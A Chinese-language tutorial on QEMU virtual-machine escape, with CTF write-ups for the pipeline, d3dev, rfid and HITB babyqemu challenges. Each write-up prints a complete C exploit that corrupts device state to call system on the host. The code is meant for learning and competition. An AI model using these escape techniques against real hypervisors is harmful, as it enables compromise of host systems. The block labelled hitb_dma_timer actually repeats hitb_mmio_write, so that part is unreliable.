QEMU逃逸系列
一:基礎知識介紹
1.什么是qemu逃逸
qemu用于模擬設備運行,而qemu逃逸漏洞多發于模擬pci設備中,漏洞形成一般是修改qemu-system代碼,所以漏洞存在于qemu-system文件內。而逃逸就是指利用漏洞從qemu-system模擬的這個小系統逃到主機內,從而在linux主機內達到命令執行的目的。
2.qemu中的地址
因為使用qemu-system模式啟動之后相當于在linux內又運行了一個小型linux,所以存在兩個地址轉換問題;從用戶虛擬地址到用戶物理地址,從用戶物理地址到qemu虛擬地址。
用戶的物理內存實際上是qemu程序mmap出來的,看下面的launsh腳本,-m 1G也就是mmap一塊1G的內存。
#!/bin/bash./qemu-system-x86_64 \ -m 1G \ -initrd ./rootfs.cpio \ -nographic \ -kernel ./vmlinuz-5.0.5-generic \ -L pc-bios/ \ -append "priority=low console=ttyS0" \ -monitor /dev/null \ -device pipeline
這塊內存可以在qemu進程的maps文件下查看,sudo cat /proc/pid/maps

在64位系統內部,虛擬地址由頁號和頁內偏移組成,我們借用前人的代碼來學習一下如何將虛擬地址轉換成物理地址。
下面的程序申請了一個buffer,并寫入字符串——“Where am I?”,之后打印他的物理地址。
#include #include #include #include #include #include #include #define PAGE_SHIFT 12#define PAGE_SIZE (1 << PAGE_SHIFT)#define PFN_PRESENT (1ull << 63)#define PFN_PFN ((1ull << 55) - 1) int fd;// 獲取頁內偏移uint32_t page_offset(uint32_t addr){ // addr & 0xfff return addr & ((1 << PAGE_SHIFT) - 1);} uint64_t gva_to_gfn(void *addr){ uint64_t pme, gfn; size_t offset; printf("pfn_item_offset : %p", (uintptr_t)addr >> 9); offset = ((uintptr_t)addr >> 9) & ~7; ////下面是網上其他人的代碼,只是為了理解上面的代碼 //一開始除以 0x1000 (getpagesize=0x1000,4k對齊,而且本來低12位就是頁內索引,需要去掉),即除以2**12, 這就獲取了頁號了, //pagemap中一個地址64位,即8字節,也即sizeof(uint64_t),所以有了頁號后,我們需要乘以8去找到對應的偏移從而獲得對應的物理地址 //最終 vir/2^12 * 8 = (vir / 2^9) & ~7 //這跟上面的右移9正好對應,但是為什么要 & ~7 ,因為你 vir >> 12 << 3 , 跟vir >> 9 是有區別的,vir >> 12 << 3低3位肯定是0,所以通過& ~7將低3位置0 // int page_size=getpagesize(); // unsigned long vir_page_idx = vir/page_size; // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t); lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); // 確保頁面存在——page is present. if (!(pme & PFN_PRESENT)) return -1; // physical frame number gfn = pme & PFN_PFN; return gfn;} uint64_t gva_to_gpa(void *addr){ uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);} int main(){ uint8_t *ptr; uint64_t ptr_mem; fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } ptr = malloc(256); strcpy(ptr, "Where am I?"); printf("%s", ptr); ptr_mem = gva_to_gpa(ptr); printf("Your physical address is at 0x%"PRIx64"", ptr_mem); getchar(); return 0;}
將其打包放到qemu系統內,然后進入qemu內部運行該c文件。再用gdb attach到qemu進程,查看mmap的內存。

找到qemu的基地址之后,用字符串的物理地址與基地址相加,即可得到虛擬地址。

3.PCI設備
PCI 設備都有一個 PCI 配置空間來配置 PCI 設備,其中包含了關于 PCI 設備的特定信息。這些信息一般只需要關注Device ID和Vendor ID即可。


擁有了這些信息即可在qemu系統內部使用lspci命令來找到該設備,從而能夠進行交互。交互問題我們后面再細說。
4.交互
通過kernel提供的sysfs,我們可以直接映射出設備對應的內存,具體方法是打開類似 /sys/devices/pci0000:00/0000:00:04.0/resource0 的文件,并用mmap將其映射到進程的地址空間,就可以對其進行讀寫了。這里的設備號0000:00:04.0是需要事先在/proc/iomem中看好的。當映射完成后,就可以對這塊內存進行讀寫操作了,內存讀寫會觸發到qemu內設備的mmio處理函數(一般會叫xxxx_mmio_read/xxxx_mmio_write),傳入的參數是寫入的地址偏移和具體的值。后面會放出一個exp模板。
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);void * mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
也可以通過使用/dev/mem文件來映射物理內存。
void * mmio = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,open("/dev/mem",2),0xfea00000);
物理內存可由# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource得到
(1)Memory Space類型(MMIO)
內存和 I/O 設備共享同一個地址空間。 MMIO 是應用得最為廣泛的一種 I/O 方法,它使用相同的地址總線來處理內存和 I/O 設備,I/O 設備的內存和寄存器被映射到與之相關聯的地址。當 CPU 訪問某個內存地址時,它可能是物理內存,也可以是某個 I/O 設備的內存,用于訪問內存的 CPU 指令也可來訪問 I/O 設備。每個 I/O 設備監視 CPU 的地址總線,一旦 CPU 訪問分配給它的地址,它就做出響應,將數據總線連接到需要訪問的設備硬件寄存器。為了容納 I/O 設備,CPU 必須預留給 I/O 一個地址區域,該地址區域不能給物理內存使用。
(2)I/O Space類型(PMIO)
在 PMIO 中,內存和 I/O 設備有各自的地址空間。 端口映射 I/O 通常使用一種特殊的 CPU 指令,專門執行 I/O 操作。在 Intel 的微處理器中,使用的指令是 IN 和 OUT。這些指令可以讀/寫 1,2,4 個字節(例如:outb, outw, outl)到 IO 設備上。I/O 設備有一個與內存不同的地址空間,為了實現地址空間的隔離,要么在 CPU 物理接口上增加一個 I/O 引腳,要么增加一條專用的 I/O 總線。由于 I/O 地址空間與內存地址空間是隔離的,所以有時將 PMIO 稱為被隔離的 IO(Isolated I/O)。在linux中可以通過iopl和ioperm這兩個系統調用對port的權能進行設置。
5.qemu中訪問PCI設備的空間進行交互
(1)qemu中訪問PCI設備的mmio空間
通過resource0來實現,需要根據需要來修改函數參數是uint64_t還是uint32_t亦或者是char。
#include #include #include #include #include #include #include #include #include #include #include #include #include #include char* mmio_mem; void mmio_write(uint64_t addr, char value) { *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) { return *((char *)(mmio_mem + addr));}int main(){ //init int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC); if (fd == -1) { perror("mmio_fd open failed"); exit(-1); } mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0); if (mmio_mem == MAP_FAILED) { perror("mmap mmio_mem failed"); exit(-1); }}
#include #include #include #include #include #include #include #include #include #include #include #include #include #include char* mmio_mem; void mmio_write(uint64_t addr, char value) { *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) { return *((char *)(mmio_mem + addr));}int main(){ //init mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,open("/dev/mem",2),0xfea00000); //0xfea00000是通過cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource來獲得//0x00000000fea00000 0x00000000feafffff 0x0000000000040200 if (mmio_mem == MAP_FAILED) { perror("mmap mmio_mem failed"); exit(-1); }}
(2)qemu中訪問PCI設備的PMIO空間
#include #include #include #include #include #include #include #include #include #include #include #include #include #include char* mmio_mem;int pmio_base = 0xc040;void pmio_write(uint32_t addr, uint32_t value){ outl(value, pmio_base + addr);} uint64_t pmio_read(uint32_t addr){ return inl(pmio_base + addr);}int main(int argc, char *argv[]){ // Open and map I/O memory for the strng device if (iopl(3) !=0 ){ perror("I/O permission is not enough"); exit(-1); }}
mmap參數PROT_READ(1) | PROT_WRITE(2)可讀寫,MAP_SHARED共享的內存。
6.打包&調試
為了方便調試,我寫了一個解壓和壓縮腳本,如下:
#!/bin/zshmkdir ./rootfscd ./rootfscpio -idmv < ../rootfs.cpio cp ../exp.c ./rootgcc -o ./root/exp -static ./root/exp.c find . | cpio -o --format=newc > ../rootfs.cpio cd ..rm -rf ./rootfs
該腳本的作用是將文件系統解壓在新建的rootfs文件夾內,再將寫好的exp.c放到解壓的文件系統的root目錄下,將其編譯成可執行文件,再重打包回rootfs.cpio,最后刪掉rootfs文件夾。
進行調試時,先進行打包操作,然后運行launch.sh文件,再起一個終端sudo gdb ./qemu-system-x86_64,使用attach附加到qemu-system進程之上。可以用ps -aux | grep qemu來獲得進程號。
在gdb內下斷點,就可以愉快的調試了。下面會有介紹。
在了解了以上的知識之后,就可以進行實操。
二:實例
1.pipeline
(1)逆向
先觀察啟動腳本launch.sh,先刪掉timeout,否則超時就退出了。
#!/bin/bash./qemu-system-x86_64 \ -m 1G \ -initrd ./rootfs.cpio \ -nographic \ -kernel ./vmlinuz-5.0.5-generic \ -L pc-bios/ \ -append "priority=low console=ttyS0" \ -monitor /dev/null \ -device pipeline
由參數"-device pipeline"得我們所主要逆向的部分是在pipeline*,將qemu-system-x86_64放入ida,由于存在符號,所以直接在函數欄里搜pipeline。

漏洞一般存在于pmio_read,pmio_write,mmio_read,mmio_write這些對內存進行讀寫操作的函數內。

發現根本看不懂,都和opaque這個變量有關,這肯定是結構體,而結構體名字一般和函數名pipeline有相似,我們來轉變一下,方法效果如下:



① pipeline_mmio_read函數
發現一個很重要的結構體貫穿四個讀寫函數;

逆向結果如下,總體就是從EncPipeLine或DecPipeLine內讀取數據,沒有越界讀,最后return處有個"8",因為
EncPipeLine或DecPipeLine的data變量在偏移位4處,然后v4為結構體處-4。需要靜心去逆。

② pipeline_mmio_write函數
與pipeline_mmio_read函數大同小異,漏洞并不在這里,功能是將val寫入EncPipeLine或DecPipeLine內。

③ pipeline_pmio_read函數
addr為0返回idx,為4返回size。

④ pipeline_pmio_write函數
猜測漏洞就在這里了,因為巨長。
addr為0返回idx,addr是4寫入size。
addr為12時,看到了encode,在pipeline_instance_init函數中發現,好像是base64加密的實現。并且會將加密后的數據放入DecPipeLine結構體內,同理addr為16時,就是解密,會將解密后的數據放入EncPipeLine結構體的data變量內。
以上就是函數基本功能。


(2)調試&漏洞
因為qemu類型的題目大部分都是越界讀寫的問題,所以我們把注意力著重放在size上。我把注釋寫到下面的代碼內。
void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size){ unsigned int sizea; // [rsp+4h] [rbp-4Ch] unsigned int sizeb; // [rsp+4h] [rbp-4Ch] int pIdx; // [rsp+28h] [rbp-28h] int pIdxa; // [rsp+28h] [rbp-28h] int pIdxb; // [rsp+28h] [rbp-28h] int useSize; // [rsp+2Ch] [rbp-24h] int ret_s; // [rsp+34h] [rbp-1Ch] int ret_sa; // [rsp+34h] [rbp-1Ch] char *iData; // [rsp+40h] [rbp-10h] if ( size == 4 ) { if ( addr == 4 ) // addr = 4 { pIdx = opaque->pIdx; if ( pIdx <= 7 ) { if ( pIdx > 3 ) { if ( val <= 0x40 ) *&opaque->encPipe[1].data[0x44 * pIdx + 12] = val; } else if ( val <= 0x5C ) { opaque->encPipe[pIdx].size = val; } } } else if ( addr > 4 ) { if ( addr == 12 ) // addr = 12 { pIdxa = opaque->pIdx; if ( pIdxa <= 7 ) { if ( pIdxa <= 3 ) pIdxa += 4; //放入解密結構體內 sizea = *&opaque->encPipe[1].data[0x44 * pIdxa + 12]; // if ( sizea <= 0x40 && (4 * ((sizea + 2) / 3) + 1) <= 0x5C ) //對size進行判斷,不存在溢出 { ret_s = opaque->encode( // encode &opaque->encPipe[1].data[0x44 * pIdxa + 16],// 加密 &opaque->mmio.size + 0x60 * pIdxa + 8, sizea); if ( ret_s != -1 ) *(&opaque->mmio.size + 24 * pIdxa + 1) = ret_s; } } } else if ( addr == 16 ) { pIdxb = opaque->pIdx; if ( pIdxb <= 7 ) { if ( pIdxb > 3 ) pIdxb -= 4; sizeb = opaque->encPipe[pIdxb].size; iData = opaque->encPipe[pIdxb].data; if ( sizeb <= 0x5C ) { if ( sizeb ) iData[sizeb] = 0; useSize = opaque->strlen(iData); if ( 3 * (useSize / 4) + 1 <= 64 ) // 84,85,86,87 { //可以看到decode的size參數是與strlen(iData)有關,即使上面的if判斷限制了useSize,也可以使useSize是84-87四個數字。 ret_sa = opaque->decode(iData, opaque->decPipe[pIdxb].data, useSize);// 解密 if ( ret_sa != -1 ) opaque->decPipe[pIdxb].size = ret_sa; } } } } } else if ( !addr ) { opaque->pIdx = val; } }}
使用0xff進行base64編碼作為測試數據,這樣在解碼后得到的溢出字符為0xff,如果后續溢出size,0xff為最大值:
>>> from pwn import *>>> b64e(b'\xff\xff\xff')'////'
下面測試漏洞會不會覆蓋掉size位。
#include #include #include #include #include void * mmio;int port_base = 0xc040; void pmio_write(int port, int val){ outl(val, port_base + port); }void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}int pmio_read(int port) { return inl(port_base + port); }char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); } void write_io(int idx,int size,int offset, char * data){ pmio_write(0,idx); pmio_write(4,size); for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }} int main(){ // init mmio and pmio iopl(3); int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); // write '/'*87 to block 2 char data[100]; memset(data,0,100); memset(data,'/',87); write_io(2,0x5c,0,data); // decode時將在encPipe[2]的數據解密后放到decPipe[2],若能溢出,則decPipe[3]的size位為0xff pmio_write(16,0); return 0;}
看效果
gdb attach之后,將斷點下到pipeline_mmio_write,就可以愉快的c了。
執行pmio_write(16,0)之前:

執行pmio_write(16,0)之后,看到decPipe[3]的size被修改為了0xff,溢出達到,可以進行越界讀寫。

(3)利用
既然已經完成了size位的劫持,再通過mmio_read泄露encode函數地址,修改encode指針為system,再pima_write(12,0)即可命令執行。
#include #include #include #include #include #include #include #include #include #include #include #include #include #include char* mmio_mem;int pmio_base = 0xc040; void mmio_write(uint64_t addr, char value) { *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) { return *((char *)(mmio_mem + addr));} void pmio_write(uint32_t addr, uint32_t value){ outl(value, pmio_base + addr);} uint64_t pmio_read(uint32_t addr){ return inl(pmio_base + addr);} uint64_t write_io(int idx,int size,int addr,char* data){ pmio_write(0,idx); //get idx rsi,rdx pmio_write(4,size); // set size rsi,rdx for(int i=0;i<strlen(data);i++) { mmio_write(addr+i,data[i]); }} uint64_t read_io(int idx,int size,int addr,char* data){ pmio_write(0,idx); for(int i=0;i { data[i] = mmio_read(addr+i); }} int main(){ //init int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC); mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0); iopl(3); //char dedata[] = "ZWVlZQ==";//"eHVhbnh1YW4="; //char data[100] = {0}; //write_io(2,0x5c,0,dedata); //idx,size,addr,data //pmio_write(16,0); // //read_io(6,4,0,data); //printf("[+] %s",data); char data[100] = {0}; memset(data,0,100); memset(data,'/',87); write_io(2,0x5c,0,data); ///////////////////// pmio_write(16,0); //decode ////////////////// char leak[16]; read_io(7,8,0x44,leak); ///////////// printf("[+] leak:0x%s",leak); //printf("[+] leak:0x%llx", leak); long long base = *((long long *)leak) - 0x3404F3; //- 0x3401BB; long long system = base + 0x2C0AD0; printf("[+] base:0x%llx",base); printf("[+] system:0x%llx",system); write_io(7,0x5c,0x44,&system); ////////////// char command[] = "cat flag"; write_io(4,0x3f,0,command); pmio_write(12,0); return 0;}
效果如下:

2.2021D3CTF d3dev
這題是D3CTF-2021,需要使用ubuntu20的環境進行操作,ubuntu18循環報錯,ubuntu22沒試過。第一題敘述較為詳細,后面例題我便只分析漏洞處和整體代碼。
該題目也是有mmio和pmio兩種訪存方式,可以套用上面的exp模板,然后分析代碼。
(1)逆向
① d3dev_mmio_read函數
直接開幕雷擊,看到了一堆什么異或之類的,問了下re師傅,是tea加密解密。一開始我是不知道這里是有越界讀的,后面會分析道,那些異或是tea decode,我們獲得的數據會經過decode,若我們想得到原始值,需要對其進行encode。

② d3dev_mmio_write函數
和read函數類似,若mmio_write_part為1,則對數據進行加密,若為0,則進行寫入。
③ d3dev_pmio_read函數
很簡單,獲得opaque結構體的數據。

④ d3dev_pmio_write函數
addr為8時,對seek進行賦值;
addr為0x1c時,執行函數;
addr為4時,將key[]清0;
addr為0時,設置memory_mode。
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){ uint32_t *key; // rbp if ( addr == 8 ) { if ( val <= 0x100 ) opaque->seek = val; } else if ( addr > 8 ) { if ( addr == 0x1C ) { opaque->r_seed = val; key = opaque->key; do *key++ = (opaque->rand_r)(&opaque->r_seed, 0x1CLL, val, *&size); while ( key != &opaque->rand_r ); } } else if ( addr ) { if ( addr == 4 ) { *opaque->key = 0LL; *&opaque->key[2] = 0LL; } } else { opaque->memory_mode = val; }}
(2)漏洞
由d3dev_pmio_write函數得知可為opaque->seek賦值為0x100,blocks有0x800字節,d3dev_mmio_read內的data = opaque->blocks[opaque->seek + (addr >> 3)],此處的blocks是通過index的方式進行訪存,而blocks又是dq的數據(8 bytes),所以seek的0x100可以訪問到的內存就是0-0x800,而通過addr進行越界讀。
d3dev_mmio_write也是如此,可以越界寫,我們就有了任意讀寫d3devState這個結構體附近的內存的"權利"。
在pmio_write里有執行system的機會,將opaque->rand_r覆蓋為system,opaque->r_seed覆蓋為"/bin/sh"。
(3)利用
#include #include #include #include #include #include unsigned char* mmio_mem;void setup_mmio() { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);} void mmio_write(uint32_t addr,uint32_t val){ *((uint32_t*)(addr+mmio_mem)) = val;} uint64_t mmio_read(uint64_t addr){ return *((uint64_t*)(addr+mmio_mem));} uint32_t pmio_base = 0xc040;void setup_pmio() { iopl(3); // 0x3ff 以上端口全部開啟訪問} uint64_t pmio_read(uint64_t addr){ return (uint64_t)inl(pmio_base + addr);} uint64_t pmio_write(uint64_t addr,uint64_t val){ outl(val,addr+pmio_base);} //因為key=0,所以直接省略掉key進行寫加密解密函數。注意exp內的en實際對應的是deuint64_t en(uint32_t high,uint32_t low){ uint32_t sum = 0xC6EF3720; uint32_t delta = 0x9E3779b9; for(int i=0;i<32;i++){ high -= (low*16) ^ (low+sum) ^ (low>>5); low -= (high*16) ^ (high+sum) ^ (high>>5); //sum -= delta; sum += 0x61C88647; } return (uint64_t)high * 0x100000000 + low;} uint64_t de(uint32_t high,uint32_t low){ uint32_t sum=0; uint32_t delta = 0x9E3779b9; for(int i=0;i<32;i++){ //sum += delta; sum -= 0x61C88647; low += (high*16) ^ (high+sum) ^ (high>>5); high += (low*16) ^ (low+sum) ^ (low>>5); } return (uint64_t)high * 0x100000000 + low;} int main(){ printf("begin!!!!!"); setup_mmio(); setup_pmio(); pmio_write(8,0x100); //opaque->seek=0x100 pmio_write(4,0); //key[0-3]=0 //0x103 uint64_t rand_r = mmio_read(24); //decode printf("region rand_r:0x%lx",rand_r); uint64_t randr = de(rand_r/0x100000000,rand_r%0x100000000); printf("encode randr:0x%lx",randr); uint64_t system = randr + 0xa560; printf("system:0x%lx", system); uint64_t encode_system = en(system / 0x100000000, system % 0x100000000); printf("encode system:0x%lx", encode_system); uint32_t low_sys = encode_system%0x100000000; uint32_t high_sys = encode_system/0x100000000; mmio_write(24,low_sys); //只能4字節4字節的寫入 sleep(1); mmio_write(24,high_sys); pmio_write(8,0); mmio_write(0,0x67616c66); //blocks: flag pmio_write(0x1c,0x20746163); //r_seed: cat return 0;}
3.2019數字經濟眾測qemu
(1)題目分析
首先查看launch.sh腳本。
#! /bin/zsh./qemu-system-x86_64 \-initrd ./initramfs.cpio \-kernel ./vmlinuz-4.8.0-52-generic \-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \-monitor /dev/null \-m 64M --nographic \-L pc-bios \-device rfid,id=vda \
設備是rfid,去ida內函數欄搜索rfid,并沒有找到,是去掉符號表。
這題沒有符號表,所以不能在函數欄內搜索,換一個思路去搜索字符串rfid來尋找相應函數。

下面的便是rfid_class_init。

想要找到mmio或者pmio對應的write/read函數,需要定位到 xxxxxxx_realize函數,例如d3dev這題,定位到了pci_d3dev_realize函數,發現&d3dev_mmio_ops和&d3dev_pmio_ops,跟進去發現有實現方法。而pci_d3dev_realize在d3dev_class_init內引用。



由以上分析可得,sub_5713A8函數內的sub_571043為realize函數。

點進去off_FE9720,發現了mmio的實現。

(2)逆向
① sub_570C63
比對字符串,然后執行命令,漏洞肯定在另一個函數內了,看到這里應該就有了具體思路,劫持byte_122FFE0為"wwssadadBABA",復寫command變量即可。

② sub_570CEB
write函數相當于一個菜單,以((addr >> 20) & 0xF)作為菜單選項,將字符傳遞于byte_122FFE0,當result為6時,將val賦值給command.由于存在移位等問題,exp的mmio_write/mmio_read函數的實現需要變化一下。
_BYTE *__fastcall sub_570CEB(__int64 opaque, unsigned __int64 addr, __int64 val, unsigned int size){ _BYTE *result; // rax _DWORD n[3]; // [rsp+4h] [rbp-3Ch] BYREF unsigned __int64 v6; // [rsp+10h] [rbp-30h] __int64 v7; // [rsp+18h] [rbp-28h] int v8; // [rsp+2Ch] [rbp-14h] int idx; // [rsp+30h] [rbp-10h] int v10; // [rsp+34h] [rbp-Ch] __int64 v11; // [rsp+38h] [rbp-8h] v7 = opaque; v6 = addr; *&n[1] = val; v11 = opaque; v8 = (addr >> 20) & 0xF; idx = (addr >> 16) & 0xF; result = ((addr >> 20) & 0xF); switch ( result ) { case 0uLL: result = byte_122FFE0; byte_122FFE0[idx] = 'w'; break; case 1uLL: result = byte_122FFE0; byte_122FFE0[idx] = 's'; break; case 2uLL: result = byte_122FFE0; byte_122FFE0[idx] = 'a'; break; case 3uLL: result = byte_122FFE0; byte_122FFE0[idx] = 'd'; break; case 4uLL: result = byte_122FFE0; byte_122FFE0[idx] = 'A'; break; case 5uLL: result = byte_122FFE0; byte_122FFE0[idx] = 'B'; break; case 6uLL: v10 = v6; result = memcpy(&command[v6], &n[1], size); break; default: return result; } return result;}
(3)調試
本題沒有符號表,為調試增加了比較大的困難,但是由于題目比較簡單,不調試也可以做出來,為了進行學習,我來嘗試一下調試。應該就和普通的pwn題一樣調試,用b *$rebase(addr)下斷點。
測試環境ubuntu20可以,ubnutu18不行。

下好了斷點,c執行,然后運行exp,便可以愉快的觀察程序運行。


(4)利用
#include #include #include #include #include #include #include #include #include #include unsigned char* mmiobase;//wwssadadBABAvoid mmio_write(uint64_t addr,uint64_t val){ *(uint64_t *)(mmiobase + addr) = val;} int main(){ mmiobase = mmap(0,0x1000000,PROT_READ | PROT_WRITE, MAP_SHARED, open("/dev/mem",2),0xfb000000); //str idx mmio_write(0x000000,0); //w , 0 mmio_write(0x010000,0); //w , 1 mmio_write(0x120000,0); //s , 2 mmio_write(0x130000,0); //s , 3 mmio_write(0x240000,0); //a , 4 mmio_write(0x350000,0); //d , 5 mmio_write(0x260000,0); //a , 6 mmio_write(0x370000,0); //d , 7 mmio_write(0x580000,0); //B , 8 mmio_write(0x490000,0); //A , 9 mmio_write(0x5a0000,0); //B , a mmio_write(0x4b0000,0); //A , b char cmd[0x20] = "cat flag"; mmio_write(0x600000,*(uint64_t *)(&cmd[0])); return *(int *)mmiobase;}
效果如圖:

4.2017HITB babyqemu
(1)題目分析
直接扔ida,有符號??,搜索一下只發現了mmio_read/mmio_write,然后恢復一下結構體;

查看一下主要操作的結構體:

(2)逆向
① hitb_mmio_read函數
返回各個結構體內的數據,不存在漏洞。
uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size){ uint64_t result; // rax uint64_t val; // [rsp+0h] [rbp-20h] result = -1LL; if ( size == 4 ) { if ( addr == 128 ) return opaque->dma.src; if ( addr > 128 ) { if ( addr == 140 ) return *(&opaque->dma.dst + 4); if ( addr <= 140 ) { if ( addr == 132 ) return *(&opaque->dma.src + 4); if ( addr == 136 ) return opaque->dma.dst; } else { if ( addr == 144 ) return opaque->dma.cnt; if ( addr == 152 ) return opaque->dma.cmd; } } else { if ( addr == 8 ) { qemu_mutex_lock(&opaque->thr_mutex); val = opaque->fact; qemu_mutex_unlock(&opaque->thr_mutex); return val; } if ( addr <= 8 ) { result = 0x10000EDLL; if ( !addr ) return result; if ( addr == 4 ) return opaque->addr4; } else { if ( addr == 0x20 ) return opaque->status; if ( addr == 0x24 ) return opaque->irq_status; } } return -1LL; } return result;}
② hitb_mmio_write函數
正常對HitbState字段寫入,但是有一個函數調用很可疑timer_mod(&opaque->dma_timer, ns / 1000000 + 100);
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size){ uint32_t v4; // r13d int v5; // edx bool v6; // zf int64_t ns; // rax if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) ) { if ( addr == 128 ) { if ( (opaque->dma.cmd & 1) == 0 ) opaque->dma.src = val; } else { v4 = val; if ( addr > 128 ) { if ( addr == 140 ) { if ( (opaque->dma.cmd & 1) == 0 ) *(&opaque->dma.dst + 4) = val; } else if ( addr > 140 ) { if ( addr == 144 ) { if ( (opaque->dma.cmd & 1) == 0 ) opaque->dma.cnt = val; } else if ( addr == 152 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 ) { opaque->dma.cmd = val; ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0); timer_mod(&opaque->dma_timer, ns / 1000000 + 100); } } else if ( addr == 132 ) { if ( (opaque->dma.cmd & 1) == 0 ) *(&opaque->dma.src + 4) = val; } else if ( addr == 136 && (opaque->dma.cmd & 1) == 0 ) { opaque->dma.dst = val; } } else if ( addr == 32 ) { if ( (val & 0x80) != 0 ) _InterlockedOr(&opaque->status, 0x80u); else _InterlockedAnd(&opaque->status, 0xFFFFFF7F); } else if ( addr > 0x20 ) { if ( addr == 96 ) { v6 = (val | opaque->irq_status) == 0; opaque->irq_status |= val; if ( !v6 ) hitb_raise_irq(opaque, 0x60u); } else if ( addr == 100 ) { v5 = ~val; v6 = (v5 & opaque->irq_status) == 0; opaque->irq_status &= v5; if ( v6 && !msi_enabled(&opaque->pdev) ) pci_set_irq(&opaque->pdev, 0); } } else if ( addr == 4 ) { opaque->addr4 = ~val; } else if ( addr == 8 && (opaque->status & 1) == 0 ) { qemu_mutex_lock(&opaque->thr_mutex); opaque->fact = v4; _InterlockedOr(&opaque->status, 1u); qemu_cond_signal(&opaque->thr_cond); qemu_mutex_unlock(&opaque->thr_mutex); } } }}
③ hitb_dma_timer函數
在hitb_mmio_write內調用了timer_mod,qemu_clock_get_ns獲取時鐘的納秒值,timer_mod修改dma_timer的expire_time,這樣應該可以觸發hitb_dma_timer的調用。
函數根據cmd來選擇不同分支,cmd最低位必須為1;
當dma.cmd為2|1時,會將dma.src減0x40000作為索引i,然后將數據從dma_buf[i]拷貝利用函數cpu_physical_memory_rw拷貝至物理地址dma.dst中,拷貝長度為dma.cnt。
當dma.cmd為4|2|1時,會將dma.dst減0x40000作為索引i,然后將起始地址為dma_buf[i],長度為dma.cnt的數據利用利用opaque->enc函數加密后,再調用函數cpu_physical_memory_rw拷貝至物理地址opaque->dma.dst中。
當dma.cmd為0|1時,調用cpu_physical_memory_rw將物理地址中為dma.dst,長度為dma.cnt,拷貝到dma.dst減0x40000作為索引i,目標地址為dma_buf[i]的空間中。
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size){ uint32_t v4; // r13d int v5; // edx bool v6; // zf int64_t ns; // rax if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) ) { if ( addr == 128 ) { if ( (opaque->dma.cmd & 1) == 0 ) opaque->dma.src = val; } else { v4 = val; if ( addr > 128 ) { if ( addr == 140 ) { if ( (opaque->dma.cmd & 1) == 0 ) *(&opaque->dma.dst + 4) = val; } else if ( addr > 140 ) { if ( addr == 144 ) { if ( (opaque->dma.cmd & 1) == 0 ) opaque->dma.cnt = val; } else if ( addr == 152 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 ) { opaque->dma.cmd = val; ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0); timer_mod(&opaque->dma_timer, ns / 1000000 + 100); } } else if ( addr == 132 ) { if ( (opaque->dma.cmd & 1) == 0 ) *(&opaque->dma.src + 4) = val; } else if ( addr == 136 && (opaque->dma.cmd & 1) == 0 ) { opaque->dma.dst = val; } } else if ( addr == 32 ) { if ( (val & 0x80) != 0 ) _InterlockedOr(&opaque->status, 0x80u); else _InterlockedAnd(&opaque->status, 0xFFFFFF7F); } else if ( addr > 0x20 ) { if ( addr == 96 ) { v6 = (val | opaque->irq_status) == 0; opaque->irq_status |= val; if ( !v6 ) hitb_raise_irq(opaque, 0x60u); } else if ( addr == 100 ) { v5 = ~val; v6 = (v5 & opaque->irq_status) == 0; opaque->irq_status &= v5; if ( v6 && !msi_enabled(&opaque->pdev) ) pci_set_irq(&opaque->pdev, 0); } } else if ( addr == 4 ) { opaque->addr4 = ~val; } else if ( addr == 8 && (opaque->status & 1) == 0 ) { qemu_mutex_lock(&opaque->thr_mutex); opaque->fact = v4; _InterlockedOr(&opaque->status, 1u); qemu_cond_signal(&opaque->thr_cond); qemu_mutex_unlock(&opaque->thr_mutex); } } }}
(3)漏洞
漏洞在hitb_dma_timer內的cpu_physical_memory_rw函數,dma_buf[]內的索引可控,就造成可以越界讀寫。
翻看前面的結構體發現,可以越界讀enc地址,進行泄露,再將計算出的system@plt寫入enc內,將"cat flag"寫入dma.buf。
